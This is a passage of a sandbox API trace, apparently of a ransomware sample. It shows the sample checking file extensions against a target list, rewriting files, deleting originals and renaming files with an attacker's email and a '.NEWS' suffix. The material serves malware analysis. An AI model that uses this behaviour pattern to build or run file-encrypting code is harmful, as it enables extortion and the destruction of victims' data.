(lpString=".bz2") returned 4 [0199.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.878] lstrlenW (lpString=".7z") returned 3 [0199.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.878] lstrlenW (lpString=".dbf") returned 4 [0199.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.879] lstrlenW (lpString=".1cd") returned 4 [0199.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.879] lstrlenW (lpString=".jpg") returned 4 [0199.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.880] lstrlenW (lpString=".doc") returned 4 [0199.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.880] lstrlenW (lpString=".docx") returned 5 [0199.880] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.880] lstrlenW (lpString=".pdf") returned 4 [0199.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.880] lstrlenW (lpString=".xls") returned 4 [0199.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.881] lstrlenW (lpString=".xlsx") returned 5 [0199.881] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.881] lstrlenW (lpString=".ppt") returned 4 [0199.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.881] lstrlenW (lpString=".zip") returned 4 [0199.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.881] lstrlenW (lpString=".rar") returned 4 [0199.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.882] lstrlenW (lpString=".bz2") returned 4 [0199.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.882] lstrlenW (lpString=".7z") returned 3 [0199.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.882] lstrlenW (lpString=".dbf") returned 4 [0199.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.883] lstrlenW (lpString=".1cd") returned 4 [0199.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0199.883] lstrlenW (lpString=".jpg") returned 4 [0199.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.884] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.884] lstrlenW (lpString="keypadbase.xml") returned 14 [0199.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.905] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=1118) returned 1 [0199.905] CloseHandle (hObject=0x290) returned 1 [0199.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0199.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.906] lstrlenW (lpString=".doc") returned 4 [0199.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.906] lstrlenW (lpString=".docx") returned 5 [0199.906] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.906] lstrlenW (lpString=".pdf") returned 4 [0199.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.907] lstrlenW (lpString=".xls") returned 4 [0199.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.907] lstrlenW (lpString=".xlsx") returned 5 [0199.907] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.907] lstrlenW (lpString=".ppt") returned 4 [0199.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.908] lstrlenW (lpString=".zip") returned 4 [0199.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.908] lstrlenW (lpString=".rar") returned 4 [0199.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.908] lstrlenW (lpString=".bz2") returned 4 [0199.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.908] lstrlenW (lpString=".7z") returned 3 [0199.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.909] lstrlenW (lpString=".dbf") returned 4 [0199.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.909] lstrlenW (lpString=".1cd") returned 4 [0199.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.909] lstrlenW (lpString=".jpg") returned 4 [0199.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.910] lstrlenW (lpString=".doc") returned 4 [0199.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.910] lstrlenW (lpString=".docx") returned 5 [0199.910] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.910] lstrlenW (lpString=".pdf") returned 4 [0199.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.911] lstrlenW (lpString=".xls") returned 4 [0199.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.911] lstrlenW (lpString=".xlsx") returned 5 [0199.911] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.911] lstrlenW (lpString=".ppt") returned 4 [0199.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.912] lstrlenW (lpString=".zip") returned 4 [0199.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.912] lstrlenW (lpString=".rar") returned 4 [0199.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.912] lstrlenW (lpString=".bz2") returned 4 [0199.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.912] lstrlenW (lpString=".7z") returned 3 [0199.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.913] lstrlenW (lpString=".dbf") returned 4 [0199.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.913] lstrlenW (lpString=".1cd") returned 4 [0199.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0199.913] lstrlenW (lpString=".jpg") returned 4 [0199.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.914] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.914] lstrlenW (lpString="keypad.xml") returned 10 [0199.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.916] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=727) returned 1 [0199.916] CloseHandle (hObject=0x290) returned 1 [0199.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0199.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0199.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0199.918] lstrlenW (lpString=".doc") returned 4 [0199.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.918] lstrlenW (lpString=".docx") returned 5 [0199.918] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0199.918] lstrlenW (lpString=".pdf") returned 4 [0199.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.918] lstrlenW (lpString=".xls") returned 4 [0199.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.918] lstrlenW (lpString=".xlsx") returned 5 [0199.918] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0199.918] lstrlenW (lpString=".ppt") returned 4 [0199.918] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0199.919] lstrlenW (lpString=".zip") returned 4 [0199.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.919] lstrlenW (lpString=".rar") returned 4 [0199.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.919] lstrlenW (lpString=".bz2") returned 4 [0199.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.919] lstrlenW (lpString=".7z") returned 3 [0199.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0199.919] lstrlenW (lpString=".dbf") returned 4 [0199.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0209.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0215.624] CloseHandle (hObject=0x384) returned 1 [0215.624] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0215.625] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.626] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.738] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0217.740] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.356] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=4570) returned 1 [0219.356] CloseHandle (hObject=0x384) returned 1 [0219.357] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0219.655] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.660] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.667] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.667] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.668] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.671] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.671] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.673] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.674] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.678] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.679] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.680] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0221.165] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.165] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0221.166] GetLastError () returned 0x0 [0221.166] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x712e, lpOverlapped=0x0) returned 1 [0221.828] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0221.832] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.832] WriteFile (in: hFile=0x384, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0221.833] SetEndOfFile (hFile=0x384) returned 1 [0221.833] CloseHandle (hObject=0x384) returned 1 [0221.833] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.833] SetEndOfFile (hFile=0x338) returned 1 [0223.022] CloseHandle (hObject=0x338) returned 1 [0223.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0223.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0223.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.025] lstrlenW (lpString=".doc") returned 4 [0223.025] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0223.025] lstrlenW (lpString=".docx") returned 5 [0223.025] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0223.025] lstrlenW (lpString=".pdf") returned 4 [0223.025] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0223.025] lstrlenW (lpString=".xls") returned 4 [0223.025] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0223.025] lstrlenW (lpString=".xlsx") returned 5 [0223.025] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0223.025] lstrlenW (lpString=".ppt") returned 4 [0223.025] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0223.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.026] lstrlenW (lpString=".zip") returned 4 [0223.026] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0223.026] lstrlenW (lpString=".rar") returned 4 [0223.026] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0223.026] lstrlenW (lpString=".bz2") returned 4 [0223.027] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0223.027] lstrlenW (lpString=".7z") returned 3 [0223.027] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0223.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.027] lstrlenW (lpString=".dbf") returned 4 [0223.027] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0223.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.027] lstrlenW (lpString=".1cd") returned 4 [0223.027] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0223.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.027] lstrlenW (lpString=".jpg") returned 4 